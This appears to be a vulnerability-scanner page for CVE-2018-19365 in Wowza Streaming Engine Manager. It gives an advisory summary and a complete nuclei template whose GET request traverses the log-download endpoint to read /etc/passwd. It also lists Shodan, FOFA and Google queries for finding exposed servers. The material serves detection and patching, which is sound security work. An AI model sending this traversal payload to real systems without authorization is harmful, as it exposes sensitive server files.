Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal

criticalseverity

9.1CVSS score

22.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information.

Fix

Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-19365 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-19365

info:
  name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability.
  reference:
    - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19365
    - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2018-19365
    cwe-id: CWE-22
    epss-score: 0.22292
    epss-percentile: 0.97703
    cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wowza
    product: streaming_engine
    shodan-query:
      - http.title:"manager" product:"wowza streaming engine"
      - cpe:"cpe:2.3:a:wowza:streaming_engine"
    fofa-query: title="manager" product:"wowza streaming engine"
    google-query: intitle:"manager" product:"wowza streaming engine"
  tags: cve2018,cve,wowza,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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